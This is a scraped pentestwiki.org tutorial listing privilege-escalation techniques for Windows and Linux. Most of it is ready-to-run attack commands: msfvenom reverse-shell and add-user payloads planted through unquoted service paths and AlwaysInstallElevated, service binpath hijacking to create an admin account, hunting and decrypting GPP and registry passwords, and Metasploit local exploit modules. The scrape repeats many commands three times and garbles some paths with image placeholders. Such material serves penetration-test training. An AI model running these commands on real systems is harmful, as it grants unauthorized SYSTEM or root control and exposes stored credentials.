created: 2022-04-19T19:50:58 (UTC +08:00)
tags: []
source: https://pentestwiki.org/privilege-escalation-in-windows-and-linux/
author:

✅ 17 techniques for Privilege Escalation in Windows and Linux - pentestwiki.org

Excerpt

One of the most important tasks right after post exploitation is privilege escalation to become system or domain admin, learn how here


Method #1: Metasploit getsystem (From local admin to SYSTEM)


17 techniques for Privilege Escalation in Windows and Linux - 图1


To escalate privileges from local administrator to SYSTEM user:

meterpreter> use priv meterpreter> getsystem

  1. meterpreter> use priv
  2. meterpreter> getsystem

getsystem uses three methods to achieve that, the first two using named pipe impersonation and the third one, using token duplication.

References:

Method #2: Unquoted Service Paths

It happens when when a developer fails to enclose the file path to a service with quotes. File paths that are properly quoted are treated as absolute and therefore mitigate this vulnerability.

So:

  1. C:\Program Files\Some Folder\Config files\Service.exe

Windows would try to execute:

  1. C:\Program.exe
  2. C:\Program Files\Some.exe
  3. C:\Program Files\Some Folder\Config.exe
  4. C:\Program Files\Some Folder\Config files\Service.exe

So if we have write access on some target directory we can write a file on that directory:

icacls “C:\Program Files\Some Folder”

icacls “C:\Program Files\Some Folder”

  1. icacls "C:\Program Files\Some Folder"

Search for: BUILTIN\Users: (OI) (CI) (M)

(M) stands for Modify for (unprivileged) users

For a full list of icacls output description:

  1. icacls preserves the canonical order of ACE entries as:
  2. Explicit denials
  3. Explicit grants
  4. Inherited denials
  5. Inherited grants
  6. Perm is a permission mask that can be specified in one of the following forms:
  7. A sequence of simple rights:
  8. F (full access)
  9. M (modify access)
  10. RX (read and execute access)
  11. R (read-only access)
  12. W (write-only access)
  13. A comma-separated list in parenthesis of specific rights:
  14. D (delete)
  15. RC (read control)
  16. WDAC (write DAC)
  17. WO (write owner)
  18. S (synchronize)
  19. AS (access system security)
  20. MA (maximum allowed)
  21. GR (generic read)
  22. GW (generic write)
  23. GE (generic execute)
  24. GA (generic all)
  25. RD (read data/list directory)
  26. WD (write data/add file)
  27. AD (append data/add subdirectory)
  28. REA (read extended attributes)
  29. WEA (write extended attributes)
  30. X (execute/traverse)
  31. DC (delete child)
  32. RA (read attributes)
  33. WA (write attributes)
  34. Inheritance rights may precede either Perm form, and they are applied only to directories:
  35. (OI): object inherit
  36. (CI): container inherit
  37. (IO): inherit only
  38. (NP): do not propagate inherit
  39. (I): permission inherited from parent container

To know in which privileges is the service running (hopefully as SYSTEM):

wmic service get name,startname

wmic service get name,startname

  1. wmic service get name,startname

Then we trojanize the service:

msfvenom -p windows/meterpreter/reverse_https -e x86/shikata_ga_nai LHOST=$IP LPORT=443 -f exe -o Config.exe

msfvenom -p windows/meterpreter/reverse_https -e x86/shikata_ga_nai LHOST=$IP LPORT=443 -f exe -o Config.exe

  1. msfvenom -p windows/meterpreter/reverse_https -e x86/shikata_ga_nai LHOST=$IP LPORT=443 -f exe -o Config.exe

And copy it to the folder we can write in:

copy Config.exe C:\Program Files\Some Folder\

copy Config.exe C:\Program Files\Some Folder\

  1. copy Config.exe C:\Program Files\Some Folder\

And sit and wait to the machine to be rebooted OR:

  1. shutdown /r /t 0

From metasploit:

msf> use exploit/windows/local/trusted_service_path

msf> use exploit/windows/local/trusted_service_path

  1. msf> use exploit/windows/local/trusted_service_path

To exploit it manually:

wmic service get name,displayname,pathname,startmode |findstr /i “Auto” |findstr /i /v “C:\Windows\“ |findstr /i /v “””

sc $SERVICENAME stop & sc $SERVICENAME start

wmic service get name,displayname,pathname,startmode |findstr /i “Auto” |findstr /i /v “C:\Windows\“ |findstr /i /v “”” sc $SERVICENAME stop & sc $SERVICENAME start

  1. wmic service get name,displayname,pathname,startmode |findstr /i "Auto" |findstr /i /v "C:\Windows\\" |findstr /i /v """
  2. sc $SERVICENAME stop & sc $SERVICENAME start

Method #3: Tokens

Take advantage of:

  • SeImpersonatePrivilege
  • SeAssignPrimaryPrivilege

Reference: https://foxglovesecurity.com/2017/08/25/abusing-token-privileges-for-windows-local-privilege-escalation/

Method #4: Hard coded credentials

Commands:

dir /s pass == cred == vnc == .config

dir /s pass == cred == vnc == .config

  1. dir /s *pass* == *cred* == *vnc* == *.config*

findstr /si password .xml .ini *.txt

findstr /si password .xml .ini *.txt

  1. findstr /si password *.xml *.ini *.txt

reg query HKLM /f password /t REG_SZ /s

reg query HKCU /f password /t REG_SZ /s

reg query HKLM /f password /t REG_SZ /s reg query HKCU /f password /t REG_SZ /s

  1. reg query HKLM /f password /t REG_SZ /s
  2. reg query HKCU /f password /t REG_SZ /s

Method #5: Sensitive files on Desktop, Documents (xls, txt, )

Take a look here as well Intro to Post Exploitation to find commands to search for sensitive files and information.

Method #6: DLL injection / hijacking

Trusted directories:

  1. HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SessionManager\KnownDLLs
  2. HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SessionManager\SafeDllSearchMode
  3. HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SessionManager\CWDIllegalInDllSearch

Method #7: Unattended installation files (Unattend.xml)

  • Unattended installs that were not cleaned properly can be abused.
  • Mainly in those directories:

dir C:\Windows\Panther\Unattend\

dir C:\Windows\System32\sysprep\

dir C:\Windows\Panther\ dir C:\Windows\Panther\Unattend\ dir C:\Windows\System32\ dir C:\Windows\System32\sysprep\

  1. dir C:\Windows\Panther\
  2. dir C:\Windows\Panther\Unattend\
  3. dir C:\Windows\System32\
  4. dir C:\Windows\System32\sysprep\

In addition to Unattend.xml files, be on the lookout for sysprep.xml and sysprep.inf

Using metasploit:

msf> use post/windows/gather/enum_unattend

msf> use post/windows/gather/enum_unattend

  1. msf> use post/windows/gather/enum_unattend

Method #8: GPP cracking

Group Policy Preferences (GPP) let you control computers in a number of ways. Think of them as unmanaged settings for your computers and users. It can be used also to set up accounts and/or passwords through the domain (i.e. same Administrator password to all the workstations of the domain).

These Group policy configuration files that could contain passwords (Groups.xml) are “encrypted” using a known AES key. And found in a shared folder inside the domain controller with read access to all domain authenticated users.

  1. net use z: \\$IP\SYSVOL

SYSVOL is simply a folder which resides on each and every domain controller within the domain. It contains the domains public files that need to be accessed by clients and kept synchronised between domain controllers. The default location for the SYSVOL is C:\Windows\SYSVOL although it can be moved to another location during the promotion of a domain controller. It’s possible but not recommended to relocate the SYSVOL after DC promotion as there is potential for error. The SYSVOL folder can be accessed through its share \domainname.com\sysvol or the local share name on the server \servername\sysvol.

SYSVOL is the domain-wide share in Active Directory to which all authenticated users have read access.

By default there are two folders with a GUID name under ”C:\Windows\SYSVOL\domain\policies”, representing two group policies (GPO). In any new domain environment we always get two default GPO’s, Default Domain Policy and Domain Controllers Policy.

To update your GPOs:

  1. gpupdate

To look your current assigned GPOs:

  1. gpresult /R
  1. dir /s Groups.xml

Other attack vector, more direct:

findstr /S /I cpassword \17 techniques for Privilege Escalation in Windows and Linux - 图2FQDN\policies*.xml

findstr /S /I cpassword \17 techniques for Privilege Escalation in Windows and Linux - 图3FQDN\policies*.xml

  1. findstr /S /I cpassword \\$FQDN\sysvol\$FQDN\policies\*.xml

Once we get the hashed:

In Linux:

gpp-decrypt $AES_PASSWORD

gpp-decrypt $AES_PASSWORD

  1. gpp-decrypt $AES_PASSWORD

In Windows, use PowerSploit function Get-GPPPassword:

Get-DecryptedCpassword $AES_PASSWORD

Get-DecryptedCpassword $AES_PASSWORD

  1. Get-DecryptedCpassword $AES_PASSWORD

References:

Method #9: Weak services and bad permissions

Use AccessChk from sysinternals

Which Services can be modified by any authenticated user (regardless of privilege level):

accesschk.exe -uwcqv “Authenticated Users” * /accepteula

accesschk.exe -uwcqv “Authenticated Users” * /accepteula

  1. accesschk.exe -uwcqv "Authenticated Users" * /accepteula

List service parameters:

accesschk.exe -ucqv $SERVICENAME

accesschk.exe -ucqv $SERVICENAME

  1. accesschk.exe -ucqv $SERVICENAME

Find all weak folder permissions per drive:

accesschk.exe -uwdqs Users c:\

accesschk.exe -uwdqs “Authenticated Users” c:\

accesschk.exe -uwdqs Users c:\ accesschk.exe -uwdqs “Authenticated Users” c:\

  1. accesschk.exe -uwdqs Users c:\
  2. accesschk.exe -uwdqs "Authenticated Users" c:\

Find all weak file permissions per drive:

accesschk.exe -uwqs Users c:*.*

accesschk.exe -uwqs “Authenticated Users” c:*.*

accesschk.exe -uwqs Users c:*. accesschk.exe -uwqs “Authenticated Users” c:\.*

  1. accesschk.exe -uwqs Users c:\*.*
  2. accesschk.exe -uwqs "Authenticated Users" c:\*.*

Permissions on a specific folder:

accesschk.exe Builtin\Users c:\inetpub

accesschk.exe Builtin\Users c:\inetpub

  1. accesschk.exe Builtin\Users c:\inetpub

Look at vulnerable service configuration parameters

  1. sc qc $SERVICE

Locate interesting parameter, this is only an example

sc config $SERVICE binpath=”net user alien alien /add”

sc config $SERVICE binpath=”net user alien alien /add” sc stop $SERVICE sc start $SERVICE

  1. sc config $SERVICE binpath="net user alien alien /add"
  2. sc stop $SERVICE
  3. sc start $SERVICE

From metasploit (post module):

msf> use exploit/windows/local/service_permissions

msf> use exploit/windows/local/service_permissions

  1. msf> use exploit/windows/local/service_permissions

Method #10: AlwaysInstallElevated ON

Allows any MSI executable be run as SYSTEM.

Manual method:

reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

  1. reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
  2. reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

Using Metasploit:

msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi -o rotten.msi

msiexec /quiet /qn /i C:\Users\$USER\Downloads\rotten.msi

msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi -o rotten.msi msiexec /quiet /qn /i C:\Users\$USER\Downloads\rotten.msi

  1. msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi -o rotten.msi
  2. msiexec /quiet /qn /i C:\Users\$USER\Downloads\rotten.msi

Another method with metasploit:
If the machine has the AlwaysInstallElevated registry flag on, then just:

msf> use exploit/windows/local/always_install_elevated

msf> use exploit/windows/local/always_install_elevated

  1. msf> use exploit/windows/local/always_install_elevated

Method #11: Abusing scheduled tasks

schtasks /query /fo LIST /v

schtasks /query /fo LIST /v

  1. schtasks /query /fo LIST /v
  1. tasklist /SVC

Method #12: Local exploits

msf> use exploit/windows/local/*

msf> use exploit/windows/local/*

  1. msf> use exploit/windows/local/*

References:

Linux Privilege Escalation Methods

Most common techniques for privilege escalation in Linux environments:

Method #1: Find setuids

Sometimes in CTFs there are trojans hidden in the system with the setuid set. Look for any of those using find command:

find / -perm -4000 -ls 2> /dev/null

find / -perm -4000 -ls 2> /dev/null

  1. find / -perm -4000 -ls 2> /dev/null

Method #2: Find world writable directories

find / -perm -777 -type d -ls 2> /dev/null

find / -perm -777 -type d -ls 2> /dev/null

  1. find / -perm -777 -type d -ls 2> /dev/null

Method #3: Find world readable logs or backups

Many times Linux is very restrictive with the default permissions BUT sometimes sysadmins do not protect properly system backups, so you can easily extract sensitive system files such as /etc/passwd. Look for gz, tar o zip files is definitely worth it.

find / -name “*.[gz,tar,zip]” 2> /dev/null

find / -name “*.[gz,tar,zip]” 2> /dev/null

  1. find / -name "*.[gz,tar,zip]" 2> /dev/null

Method #4: Check crontab tasks

Added scheduled tasks may contain some misconfigurations like for example, one script is run by root and it is writable for everybody

crontab -l ls -lR /etc/cron*

  1. crontab -l
  2. ls -lR /etc/cron*

Method #5: Local exploits for kernel or applications

As part of your local enumeration information gathering, look for kernel versions, applications installed, daemons running in order to detect any old version with known exploits.

Take also a look into Intro to Post Exploitation for more tools and techniques.